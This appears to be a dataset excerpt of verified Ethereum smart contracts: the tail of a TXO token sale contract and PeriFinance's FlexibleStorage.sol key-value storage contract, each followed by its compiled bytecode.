// Tuesday, July 17, 2018 11:59:59 PM
uint public constant saleEnd = 1531871999;
function TXOsale() public {
token = new TXOtoken(wallet);
}
/**
* @dev fallback function
*/
function() public payable {
require(now >= saleStart && now <= saleEnd);
require(!goalAchieved);
require(msg.value >= 0.1 ether);
wallet.transfer(msg.value);
emit ReceiveEther(msg.sender, msg.value);
}
/**
* @dev The owner can suspend the sale if the HardCap has been achieved.
*/
function setGoalAchieved(bool _goalAchieved) public onlyOwner {
goalAchieved = _goalAchieved;
}
} | 0x60606040526004361061008d5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630f7a45908114610169578063521eb273146101905780638da5cb5b146101bf578063a839fc56146101d2578063ab0bcc41146101ec578063c10b935814610211578063f2fde38b14610224578063fc0c546a14610243575b635b020c0042101580156100a55750635b4e82ff4211155b15156100b057600080fd5b60015474010000000000000000000000000000000000000000900460ff16156100d857600080fd5b67016345785d8a00003410156100ed57600080fd5b738da7477d56c90cf2c5b78f36f9e39395adb2ae633480156108fc0290604051600060405180830381858888f19350505050151561012a57600080fd5b33600160a060020a03167ff32a9f77675fd5917534c7746608fd3e309eac68fbdcbf5925e24ca97a7043963460405190815260200160405180910390a2005b341561017457600080fd5b61017c610256565b604051901515815260200160405180910390f35b341561019b57600080fd5b6101a3610277565b604051600160a060020a03909116815260200160405180910390f35b34156101ca57600080fd5b6101a361028f565b34156101dd57600080fd5b6101ea600435151561029e565b005b34156101f757600080fd5b6101ff6102f9565b60405190815260200160405180910390f35b341561021c57600080fd5b6101ff610301565b341561022f57600080fd5b6101ea600160a060020a0360043516610309565b341561024e57600080fd5b6101a36103a4565b60015474010000000000000000000000000000000000000000900460ff1681565b738da7477d56c90cf2c5b78f36f9e39395adb2ae6381565b600054600160a060020a031681565b60005433600160a060020a039081169116146102b957600080fd5b60018054911515740100000000000000000000000000000000000000000274ff000000000000000000000000000000000000000019909216919091179055565b635b020c0081565b635b4e82ff81565b60005433600160a060020a0390811691161461032457600080fd5b600160a060020a038116151561033957600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a0316815600a165627a7a72305820f30b7dac63910419423273cae2148574b59f0a9e36eddc745c80ab5b799976090029 | {"success": true, "error": null, "results": {}} | 9,879 |
0x1E91BFA475401791cc8aE8f6614bd8f0bE2b84F6 | /**
*Submitted for verification at Etherscan.io on 2021-08-11
*/
/*
___ _ ___ _
| .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___
| _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._>
|_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___.
* PeriFinance: FlexibleStorage.sol
*
* Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/FlexibleStorage.sol
* Docs: Will be added in the future.
* https://docs.peri.finance/contracts/source/contracts/FlexibleStorage
*
* Contract Dependencies:
* - ContractStorage
* - IFlexibleStorage
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2021 PeriFinance
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.5.16;
// https://docs.peri.finance/contracts/source/interfaces/iaddressresolver
interface IAddressResolver {
function getAddress(bytes32 name) external view returns (address);
function getPynth(bytes32 key) external view returns (address);
function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address);
}
// Internal References
// https://docs.peri.finance/contracts/source/contracts/contractstorage
contract ContractStorage {
IAddressResolver public resolverProxy;
mapping(bytes32 => bytes32) public hashes;
constructor(address _resolver) internal {
// ReadProxyAddressResolver
resolverProxy = IAddressResolver(_resolver);
}
/* ========== INTERNAL FUNCTIONS ========== */
function _memoizeHash(bytes32 contractName) internal returns (bytes32) {
bytes32 hashKey = hashes[contractName];
if (hashKey == bytes32(0)) {
// set to unique hash at the time of creation
hashKey = keccak256(abi.encodePacked(msg.sender, contractName, block.number));
hashes[contractName] = hashKey;
}
return hashKey;
}
/* ========== VIEWS ========== */
/* ========== RESTRICTED FUNCTIONS ========== */
function migrateContractKey(
bytes32 fromContractName,
bytes32 toContractName,
bool removeAccessFromPreviousContract
) external onlyContract(fromContractName) {
require(hashes[fromContractName] != bytes32(0), "Cannot migrate empty contract");
hashes[toContractName] = hashes[fromContractName];
if (removeAccessFromPreviousContract) {
delete hashes[fromContractName];
}
emit KeyMigrated(fromContractName, toContractName, removeAccessFromPreviousContract);
}
/* ========== MODIFIERS ========== */
modifier onlyContract(bytes32 contractName) {
address callingContract =
resolverProxy.requireAndGetAddress(contractName, "Cannot find contract in Address Resolver");
require(callingContract == msg.sender, "Can only be invoked by the configured contract");
_;
}
/* ========== EVENTS ========== */
event KeyMigrated(bytes32 fromContractName, bytes32 toContractName, bool removeAccessFromPreviousContract);
}
// https://docs.peri.finance/contracts/source/interfaces/iflexiblestorage
interface IFlexibleStorage {
// Views
function getUIntValue(bytes32 contractName, bytes32 record) external view returns (uint);
function getUIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (uint[] memory);
function getIntValue(bytes32 contractName, bytes32 record) external view returns (int);
function getIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (int[] memory);
function getAddressValue(bytes32 contractName, bytes32 record) external view returns (address);
function getAddressValues(bytes32 contractName, bytes32[] calldata records) external view returns (address[] memory);
function getBoolValue(bytes32 contractName, bytes32 record) external view returns (bool);
function getBoolValues(bytes32 contractName, bytes32[] calldata records) external view returns (bool[] memory);
function getBytes32Value(bytes32 contractName, bytes32 record) external view returns (bytes32);
function getBytes32Values(bytes32 contractName, bytes32[] calldata records) external view returns (bytes32[] memory);
// Mutative functions
function deleteUIntValue(bytes32 contractName, bytes32 record) external;
function deleteIntValue(bytes32 contractName, bytes32 record) external;
function deleteAddressValue(bytes32 contractName, bytes32 record) external;
function deleteBoolValue(bytes32 contractName, bytes32 record) external;
function deleteBytes32Value(bytes32 contractName, bytes32 record) external;
function setUIntValue(
bytes32 contractName,
bytes32 record,
uint value
) external;
function setUIntValues(
bytes32 contractName,
bytes32[] calldata records,
uint[] calldata values
) external;
function setIntValue(
bytes32 contractName,
bytes32 record,
int value
) external;
function setIntValues(
bytes32 contractName,
bytes32[] calldata records,
int[] calldata values
) external;
function setAddressValue(
bytes32 contractName,
bytes32 record,
address value
) external;
function setAddressValues(
bytes32 contractName,
bytes32[] calldata records,
address[] calldata values
) external;
function setBoolValue(
bytes32 contractName,
bytes32 record,
bool value
) external;
function setBoolValues(
bytes32 contractName,
bytes32[] calldata records,
bool[] calldata values
) external;
function setBytes32Value(
bytes32 contractName,
bytes32 record,
bytes32 value
) external;
function setBytes32Values(
bytes32 contractName,
bytes32[] calldata records,
bytes32[] calldata values
) external;
}
// Inheritance
// Internal References
// https://docs.peri.finance/contracts/source/contracts/flexiblestorage
contract FlexibleStorage is ContractStorage, IFlexibleStorage {
mapping(bytes32 => mapping(bytes32 => uint)) internal uintStorage;
mapping(bytes32 => mapping(bytes32 => int)) internal intStorage;
mapping(bytes32 => mapping(bytes32 => address)) internal addressStorage;
mapping(bytes32 => mapping(bytes32 => bool)) internal boolStorage;
mapping(bytes32 => mapping(bytes32 => bytes32)) internal bytes32Storage;
constructor(address _resolver) public ContractStorage(_resolver) {}
/* ========== INTERNAL FUNCTIONS ========== */
function _setUIntValue(
bytes32 contractName,
bytes32 record,
uint value
) internal {
uintStorage[_memoizeHash(contractName)][record] = value;
emit ValueSetUInt(contractName, record, value);
}
function _setIntValue(
bytes32 contractName,
bytes32 record,
int value
) internal {
intStorage[_memoizeHash(contractName)][record] = value;
emit ValueSetInt(contractName, record, value);
}
function _setAddressValue(
bytes32 contractName,
bytes32 record,
address value
) internal {
addressStorage[_memoizeHash(contractName)][record] = value;
emit ValueSetAddress(contractName, record, value);
}
function _setBoolValue(
bytes32 contractName,
bytes32 record,
bool value
) internal {
boolStorage[_memoizeHash(contractName)][record] = value;
emit ValueSetBool(contractName, record, value);
}
function _setBytes32Value(
bytes32 contractName,
bytes32 record,
bytes32 value
) internal {
bytes32Storage[_memoizeHash(contractName)][record] = value;
emit ValueSetBytes32(contractName, record, value);
}
/* ========== VIEWS ========== */
function getUIntValue(bytes32 contractName, bytes32 record) external view returns (uint) {
return uintStorage[hashes[contractName]][record];
}
function getUIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (uint[] memory) {
uint[] memory results = new uint[](records.length);
mapping(bytes32 => uint) storage data = uintStorage[hashes[contractName]];
for (uint i = 0; i < records.length; i++) {
results[i] = data[records[i]];
}
return results;
}
function getIntValue(bytes32 contractName, bytes32 record) external view returns (int) {
return intStorage[hashes[contractName]][record];
}
function getIntValues(bytes32 contractName, bytes32[] calldata records) external view returns (int[] memory) {
int[] memory results = new int[](records.length);
mapping(bytes32 => int) storage data = intStorage[hashes[contractName]];
for (uint i = 0; i < records.length; i++) {
results[i] = data[records[i]];
}
return results;
}
function getAddressValue(bytes32 contractName, bytes32 record) external view returns (address) {
return addressStorage[hashes[contractName]][record];
}
function getAddressValues(bytes32 contractName, bytes32[] calldata records) external view returns (address[] memory) {
address[] memory results = new address[](records.length);
mapping(bytes32 => address) storage data = addressStorage[hashes[contractName]];
for (uint i = 0; i < records.length; i++) {
results[i] = data[records[i]];
}
return results;
}
function getBoolValue(bytes32 contractName, bytes32 record) external view returns (bool) {
return boolStorage[hashes[contractName]][record];
}
function getBoolValues(bytes32 contractName, bytes32[] calldata records) external view returns (bool[] memory) {
bool[] memory results = new bool[](records.length);
mapping(bytes32 => bool) storage data = boolStorage[hashes[contractName]];
for (uint i = 0; i < records.length; i++) {
results[i] = data[records[i]];
}
return results;
}
function getBytes32Value(bytes32 contractName, bytes32 record) external view returns (bytes32) {
return bytes32Storage[hashes[contractName]][record];
}
function getBytes32Values(bytes32 contractName, bytes32[] calldata records) external view returns (bytes32[] memory) {
bytes32[] memory results = new bytes32[](records.length);
mapping(bytes32 => bytes32) storage data = bytes32Storage[hashes[contractName]];
for (uint i = 0; i < records.length; i++) {
results[i] = data[records[i]];
}
return results;
}
/* ========== RESTRICTED FUNCTIONS ========== */
function setUIntValue(
bytes32 contractName,
bytes32 record,
uint value
) external onlyContract(contractName) {
_setUIntValue(contractName, record, value);
}
function setUIntValues(
bytes32 contractName,
bytes32[] calldata records,
uint[] calldata values
) external onlyContract(contractName) {
require(records.length == values.length, "Input lengths must match");
for (uint i = 0; i < records.length; i++) {
_setUIntValue(contractName, records[i], values[i]);
}
}
function deleteUIntValue(bytes32 contractName, bytes32 record) external onlyContract(contractName) {
uint value = uintStorage[hashes[contractName]][record];
emit ValueDeletedUInt(contractName, record, value);
delete uintStorage[hashes[contractName]][record];
}
function setIntValue(
bytes32 contractName,
bytes32 record,
int value
) external onlyContract(contractName) {
_setIntValue(contractName, record, value);
}
function setIntValues(
bytes32 contractName,
bytes32[] calldata records,
int[] calldata values
) external onlyContract(contractName) {
require(records.length == values.length, "Input lengths must match");
for (uint i = 0; i < records.length; i++) {
_setIntValue(contractName, records[i], values[i]);
}
}
function deleteIntValue(bytes32 contractName, bytes32 record) external onlyContract(contractName) {
int value = intStorage[hashes[contractName]][record];
emit ValueDeletedInt(contractName, record, value);
delete intStorage[hashes[contractName]][record];
}
function setAddressValue(
bytes32 contractName,
bytes32 record,
address value
) external onlyContract(contractName) {
_setAddressValue(contractName, record, value);
}
function setAddressValues(
bytes32 contractName,
bytes32[] calldata records,
address[] calldata values
) external onlyContract(contractName) {
require(records.length == values.length, "Input lengths must match");
for (uint i = 0; i < records.length; i++) {
_setAddressValue(contractName, records[i], values[i]);
}
}
function deleteAddressValue(bytes32 contractName, bytes32 record) external onlyContract(contractName) {
address value = addressStorage[hashes[contractName]][record];
emit ValueDeletedAddress(contractName, record, value);
delete addressStorage[hashes[contractName]][record];
}
function setBoolValue(
bytes32 contractName,
bytes32 record,
bool value
) external onlyContract(contractName) {
_setBoolValue(contractName, record, value);
}
function setBoolValues(
bytes32 contractName,
bytes32[] calldata records,
bool[] calldata values
) external onlyContract(contractName) {
require(records.length == values.length, "Input lengths must match");
for (uint i = 0; i < records.length; i++) {
_setBoolValue(contractName, records[i], values[i]);
}
}
function deleteBoolValue(bytes32 contractName, bytes32 record) external onlyContract(contractName) {
bool value = boolStorage[hashes[contractName]][record];
emit ValueDeletedBool(contractName, record, value);
delete boolStorage[hashes[contractName]][record];
}
function setBytes32Value(
bytes32 contractName,
bytes32 record,
bytes32 value
) external onlyContract(contractName) {
_setBytes32Value(contractName, record, value);
}
function setBytes32Values(
bytes32 contractName,
bytes32[] calldata records,
bytes32[] calldata values
) external onlyContract(contractName) {
require(records.length == values.length, "Input lengths must match");
for (uint i = 0; i < records.length; i++) {
_setBytes32Value(contractName, records[i], values[i]);
}
}
function deleteBytes32Value(bytes32 contractName, bytes32 record) external onlyContract(contractName) {
bytes32 value = bytes32Storage[hashes[contractName]][record];
emit ValueDeletedBytes32(contractName, record, value);
delete bytes32Storage[hashes[contractName]][record];
}
/* ========== EVENTS ========== */
event ValueSetUInt(bytes32 contractName, bytes32 record, uint value);
event ValueDeletedUInt(bytes32 contractName, bytes32 record, uint value);
event ValueSetInt(bytes32 contractName, bytes32 record, int value);
event ValueDeletedInt(bytes32 contractName, bytes32 record, int value);
event ValueSetAddress(bytes32 contractName, bytes32 record, address value);
event ValueDeletedAddress(bytes32 contractName, bytes32 record, address value);
event ValueSetBool(bytes32 contractName, bytes32 record, bool value);
event ValueDeletedBool(bytes32 contractName, bytes32 record, bool value);
event ValueSetBytes32(bytes32 contractName, bytes32 record, bytes32 value);
event ValueDeletedBytes32(bytes32 contractName, bytes32 record, bytes32 value);
} | 0x608060405234801561001057600080fd5b50600436106101c35760003560e01c80638ca0adaf116100f9578063c89eb56211610097578063d994502d11610071578063d994502d146109c2578063f7833c5d146109f9578063f9c39d2f14610a1c578063fdfc4c1314610ae1576101c3565b8063c89eb562146108b7578063d658d2e91461097c578063d71a9b0114610999576101c3565b8063ab15985d116100d3578063ab15985d146106e5578063b67fa7ed146107aa578063c13a2b0c1461081f578063c4f610ed14610894576101c3565b80638ca0adaf1461062a5780638f6b95a31461069f5780639ee5955a146106c2576101c3565b806335ab2708116101665780634dca0978116101405780634dca0978146105345780635bda91e2146105665780636a59e495146105915780638408a5e5146105b5576101c3565b806335ab2708146104215780633bd6ad89146104445780633f28a6fc14610509576101c3565b80631625e3ef116101a25780631625e3ef1461037d57806318f662ed146103a05780631d5b277f146103c357806323257c2b146103ec576101c3565b80624b62d6146101c857806303cdc017146101f3578063142a391e146102b8575b600080fd5b6101f1600480360360608110156101de57600080fd5b5080359060208101359060400135610b04565b005b6101f16004803603606081101561020957600080fd5b81359190810190604081016020820135600160201b81111561022a57600080fd5b82018360208201111561023c57600080fd5b803590602001918460208302840111600160201b8311171561025d57600080fd5b919390929091602081019035600160201b81111561027a57600080fd5b82018360208201111561028c57600080fd5b803590602001918460208302840111600160201b831117156102ad57600080fd5b509092509050610bf4565b61032d600480360360408110156102ce57600080fd5b81359190810190604081016020820135600160201b8111156102ef57600080fd5b82018360208201111561030157600080fd5b803590602001918460208302840111600160201b8311171561032257600080fd5b509092509050610d60565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015610369578181015183820152602001610351565b505050509050019250505060405180910390f35b6101f16004803603604081101561039357600080fd5b5080359060200135610e07565b6101f1600480360360408110156103b657600080fd5b5080359060200135610f7b565b6101f1600480360360608110156103d957600080fd5b50803590602081013590604001356110e4565b61040f6004803603604081101561040257600080fd5b50803590602001356111cd565b60408051918252519081900360200190f35b6101f16004803603604081101561043757600080fd5b50803590602001356111f4565b6101f16004803603606081101561045a57600080fd5b81359190810190604081016020820135600160201b81111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111600160201b831117156104ae57600080fd5b919390929091602081019035600160201b8111156104cb57600080fd5b8201836020820111156104dd57600080fd5b803590602001918460208302840111600160201b831117156104fe57600080fd5b50909250905061135d565b6101f16004803603606081101561051f57600080fd5b508035906020810135906040013515156114c8565b6101f16004803603606081101561054a57600080fd5b50803590602081013590604001356001600160a01b03166115b1565b6101f16004803603606081101561057c57600080fd5b5080359060208101359060400135151561169a565b61059961184c565b604080516001600160a01b039092168252519081900360200190f35b61032d600480360360408110156105cb57600080fd5b81359190810190604081016020820135600160201b8111156105ec57600080fd5b8201836020820111156105fe57600080fd5b803590602001918460208302840111600160201b8311171561061f57600080fd5b50909250905061185b565b61032d6004803603604081101561064057600080fd5b81359190810190604081016020820135600160201b81111561066157600080fd5b82018360208201111561067357600080fd5b803590602001918460208302840111600160201b8311171561069457600080fd5b5090925090506118f7565b6101f1600480360360408110156106b557600080fd5b50803590602001356119b3565b610599600480360360408110156106d857600080fd5b5080359060200135611b32565b6101f1600480360360608110156106fb57600080fd5b81359190810190604081016020820135600160201b81111561071c57600080fd5b82018360208201111561072e57600080fd5b803590602001918460208302840111600160201b8311171561074f57600080fd5b919390929091602081019035600160201b81111561076c57600080fd5b82018360208201111561077e57600080fd5b803590602001918460208302840111600160201b8311171561079f57600080fd5b509092509050611b62565b61032d600480360360408110156107c057600080fd5b81359190810190604081016020820135600160201b8111156107e157600080fd5b8201836020820111156107f357600080fd5b803590602001918460208302840111600160201b8311171561081457600080fd5b509092509050611cc4565b61032d6004803603604081101561083557600080fd5b81359190810190604081016020820135600160201b81111561085657600080fd5b82018360208201111561086857600080fd5b803590602001918460208302840111600160201b8311171561088957600080fd5b509092509050611d60565b61040f600480360360408110156108aa57600080fd5b5080359060200135611e0e565b6101f1600480360360608110156108cd57600080fd5b81359190810190604081016020820135600160201b8111156108ee57600080fd5b82018360208201111561090057600080fd5b803590602001918460208302840111600160201b8311171561092157600080fd5b919390929091602081019035600160201b81111561093e57600080fd5b82018360208201111561095057600080fd5b803590602001918460208302840111600160201b8311171561097157600080fd5b509092509050611e35565b61040f6004803603602081101561099257600080fd5b5035611f97565b6101f1600480360360608110156109af57600080fd5b5080359060208101359060400135611fa9565b6109e5600480360360408110156109d857600080fd5b5080359060200135612092565b604080519115158252519081900360200190f35b61040f60048036036040811015610a0f57600080fd5b50803590602001356120bc565b6101f160048036036060811015610a3257600080fd5b81359190810190604081016020820135600160201b811115610a5357600080fd5b820183602082011115610a6557600080fd5b803590602001918460208302840111600160201b83111715610a8657600080fd5b919390929091602081019035600160201b811115610aa357600080fd5b820183602082011115610ab557600080fd5b803590602001918460208302840111600160201b83111715610ad657600080fd5b5090925090506120e3565b6101f160048036036040811015610af757600080fd5b5080359060200135612247565b600080546040805163dacb2d0160e01b815260048101878152602482019283526028604483018190528895946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b158015610b6d57600080fd5b505afa158015610b81573d6000803e3d6000fd5b505050506040513d6020811015610b9757600080fd5b505190506001600160a01b0381163314610be25760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b610bed8585856123b0565b5050505050565b600080546040805163dacb2d0160e01b815260048101898152602482019283526028604483018190528a95946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b158015610c5d57600080fd5b505afa158015610c71573d6000803e3d6000fd5b505050506040513d6020811015610c8757600080fd5b505190506001600160a01b0381163314610cd25760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b848314610d14576040805162461bcd60e51b815260206004820152601860248201526000805160206126ca833981519152604482015290519081900360640190fd5b60005b85811015610d5657610d4e88888884818110610d2f57fe5b90506020020135878785818110610d4257fe5b90506020020135612421565b600101610d17565b5050505050505050565b60608083839050604051908082528060200260200182016040528015610d90578160200160208202803883390190505b506000868152600160209081526040808320548352600390915281209192505b84811015610dfc57816000878784818110610dc757fe5b90506020020135815260200190815260200160002054838281518110610de957fe5b6020908102919091010152600101610db0565b509095945050505050565b600080546040805163dacb2d0160e01b815260048101868152602482019283526028604483018190528795946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b158015610e7057600080fd5b505afa158015610e84573d6000803e3d6000fd5b505050506040513d6020811015610e9a57600080fd5b505190506001600160a01b0381163314610ee55760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b60008481526001602090815260408083205483526005825280832086845282529182902054825187815291820186905260ff168015158284015291517f321123223c2c7bffd7484ae8fb80c6eb45aa5537df0a621c47833ab9376a4a9c9181900360600190a15050506000918252600160209081526040808420548452600582528084209284529190529020805460ff19169055565b600080546040805163dacb2d0160e01b815260048101868152602482019283526028604483018190528795946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b158015610fe457600080fd5b505afa158015610ff8573d6000803e3d6000fd5b505050506040513d602081101561100e57600080fd5b505190506001600160a01b03811633146110595760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b60008481526001602090815260408083205483526002825280832086845282529182902054825187815291820186905281830181905291517f8a6b612c1a1e056bc504f34fe56106a878fca2d1a50be35360d02ac39d4d46629181900360600190a1505050600091825260016020908152604080842054845260028252808420928452919052812055565b600080546040805163dacb2d0160e01b815260048101878152602482019283526028604483018190528895946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b15801561114d57600080fd5b505afa158015611161573d6000803e3d6000fd5b505050506040513d602081101561117757600080fd5b505190506001600160a01b03811633146111c25760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b610bed858585612421565b60009182526001602090815260408084205484526002825280842092845291905290205490565b600080546040805163dacb2d0160e01b815260048101868152602482019283526028604483018190528795946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b15801561125d57600080fd5b505afa158015611271573d6000803e3d6000fd5b505050506040513d602081101561128757600080fd5b505190506001600160a01b03811633146112d25760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b60008481526001602090815260408083205483526006825280832086845282529182902054825187815291820186905281830181905291517f1f751825a531bf2a176e42d5cb792bb7228163cf53e36b033509ccbe869cfd939181900360600190a1505050600091825260016020908152604080842054845260068252808420928452919052812055565b600080546040805163dacb2d0160e01b815260048101898152602482019283526028604483018190528a95946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b1580156113c657600080fd5b505afa1580156113da573d6000803e3d6000fd5b505050506040513d60208110156113f057600080fd5b505190506001600160a01b038116331461143b5760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b84831461147d576040805162461bcd60e51b815260206004820152601860248201526000805160206126ca833981519152604482015290519081900360640190fd5b60005b85811015610d56576114c08888888481811061149857fe5b905060200201358787858181106114ab57fe5b905060200201356001600160a01b0316612492565b600101611480565b600080546040805163dacb2d0160e01b815260048101878152602482019283526028604483018190528895946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b15801561153157600080fd5b505afa158015611545573d6000803e3d6000fd5b505050506040513d602081101561155b57600080fd5b505190506001600160a01b03811633146115a65760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b610bed85858561251b565b600080546040805163dacb2d0160e01b815260048101878152602482019283526028604483018190528895946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b15801561161a57600080fd5b505afa15801561162e573d6000803e3d6000fd5b505050506040513d602081101561164457600080fd5b505190506001600160a01b038116331461168f5760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b610bed858585612492565b600080546040805163dacb2d0160e01b815260048101878152602482019283526028604483018190528895946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b15801561170357600080fd5b505afa158015611717573d6000803e3d6000fd5b505050506040513d602081101561172d57600080fd5b505190506001600160a01b03811633146117785760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b6000858152600160205260409020546117d8576040805162461bcd60e51b815260206004820152601d60248201527f43616e6e6f74206d69677261746520656d70747920636f6e7472616374000000604482015290519081900360640190fd5b600085815260016020526040808220548683529120558215611804576000858152600160205260408120555b60408051868152602081018690528415158183015290517fa3db9c909daa141b61562c797dae4dc4b3d7751686068c98111db87b2a8c374c9181900360600190a15050505050565b6000546001600160a01b031681565b6060808383905060405190808252806020026020018201604052801561188b578160200160208202803883390190505b506000868152600160209081526040808320548352600690915281209192505b84811015610dfc578160008787848181106118c257fe5b905060200201358152602001908152602001600020548382815181106118e457fe5b60209081029190910101526001016118ab565b60608083839050604051908082528060200260200182016040528015611927578160200160208202803883390190505b506000868152600160209081526040808320548352600490915281209192505b84811015610dfc5781600087878481811061195e57fe5b90506020020135815260200190815260200160002060009054906101000a90046001600160a01b031683828151811061199357fe5b6001600160a01b0390921660209283029190910190910152600101611947565b600080546040805163dacb2d0160e01b815260048101868152602482019283526028604483018190528795946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b158015611a1c57600080fd5b505afa158015611a30573d6000803e3d6000fd5b505050506040513d6020811015611a4657600080fd5b505190506001600160a01b0381163314611a915760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b6000848152600160209081526040808320548352600482528083208684528252918290205482518781529182018690526001600160a01b031681830181905291517fec1140277b8f20820dc76b92216489238a207d5f22c964099303820fbd2bdf669181900360600190a1505050600091825260016020908152604080842054845260048252808420928452919052902080546001600160a01b0319169055565b6000918252600160209081526040808420548452600482528084209284529190529020546001600160a01b031690565b600080546040805163dacb2d0160e01b815260048101898152602482019283526028604483018190528a95946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b158015611bcb57600080fd5b505afa158015611bdf573d6000803e3d6000fd5b505050506040513d6020811015611bf557600080fd5b505190506001600160a01b0381163314611c405760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b848314611c82576040805162461bcd60e51b815260206004820152601860248201526000805160206126ca833981519152604482015290519081900360640190fd5b60005b85811015610d5657611cbc88888884818110611c9d57fe5b90506020020135878785818110611cb057fe5b9050602002013561259a565b600101611c85565b60608083839050604051908082528060200260200182016040528015611cf4578160200160208202803883390190505b506000868152600160209081526040808320548352600290915281209192505b84811015610dfc57816000878784818110611d2b57fe5b90506020020135815260200190815260200160002054838281518110611d4d57fe5b6020908102919091010152600101611d14565b60608083839050604051908082528060200260200182016040528015611d90578160200160208202803883390190505b506000868152600160209081526040808320548352600590915281209192505b84811015610dfc57816000878784818110611dc757fe5b90506020020135815260200190815260200160002060009054906101000a900460ff16838281518110611df657fe5b91151560209283029190910190910152600101611db0565b60009182526001602090815260408084205484526003825280842092845291905290205490565b600080546040805163dacb2d0160e01b815260048101898152602482019283526028604483018190528a95946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b158015611e9e57600080fd5b505afa158015611eb2573d6000803e3d6000fd5b505050506040513d6020811015611ec857600080fd5b505190506001600160a01b0381163314611f135760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b848314611f55576040805162461bcd60e51b815260206004820152601860248201526000805160206126ca833981519152604482015290519081900360640190fd5b60005b85811015610d5657611f8f88888884818110611f7057fe5b90506020020135878785818110611f8357fe5b905060200201356123b0565b600101611f58565b60016020526000908152604090205481565b600080546040805163dacb2d0160e01b815260048101878152602482019283526028604483018190528895946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b15801561201257600080fd5b505afa158015612026573d6000803e3d6000fd5b505050506040513d602081101561203c57600080fd5b505190506001600160a01b03811633146120875760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b610bed85858561259a565b60009182526001602090815260408084205484526005825280842092845291905290205460ff1690565b60009182526001602090815260408084205484526006825280842092845291905290205490565b600080546040805163dacb2d0160e01b815260048101898152602482019283526028604483018190528a95946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b15801561214c57600080fd5b505afa158015612160573d6000803e3d6000fd5b505050506040513d602081101561217657600080fd5b505190506001600160a01b03811633146121c15760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b848314612203576040805162461bcd60e51b815260206004820152601860248201526000805160206126ca833981519152604482015290519081900360640190fd5b60005b85811015610d565761223f8888888481811061221e57fe5b9050602002013587878581811061223157fe5b90506020020135151561251b565b600101612206565b600080546040805163dacb2d0160e01b815260048101868152602482019283526028604483018190528795946001600160a01b03169363dacb2d019387939260649091019061267482396040019250505060206040518083038186803b1580156122b057600080fd5b505afa1580156122c4573d6000803e3d6000fd5b505050506040513d60208110156122da57600080fd5b505190506001600160a01b03811633146123255760405162461bcd60e51b815260040180806020018281038252602e81526020018061269c602e913960400191505060405180910390fd5b600084815260016020908152604080832054835260038252808320868452825291829020548251878